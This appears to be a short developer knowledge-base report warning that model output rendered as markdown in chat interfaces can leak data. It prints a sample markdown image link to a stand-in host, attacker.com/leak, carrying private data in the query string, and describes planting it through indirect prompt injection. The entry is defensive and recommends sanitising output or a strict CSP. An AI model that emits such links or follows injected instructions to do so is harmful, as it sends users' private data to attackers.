Report #52618
[gotcha] LLM generates markdown image links that exfiltrate data via GET requests in chat UIs
Strip all markdown image tags or sanitize URLs in LLM outputs before rendering, or use a strict Content Security Policy \(CSP\) that blocks external image loading.
Journey Context:
Developers often render LLM output as raw markdown. If an attacker injects \`\!\[exfil\]\(https://attacker.com/leak?context=\[private\_data\]\)\` via indirect injection, the user's browser automatically fetches the URL, sending the data. CSP or output sanitization is required because the LLM cannot reliably be prompted \*not\* to output markdown.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T18:48:45.725374+00:00— report_created — created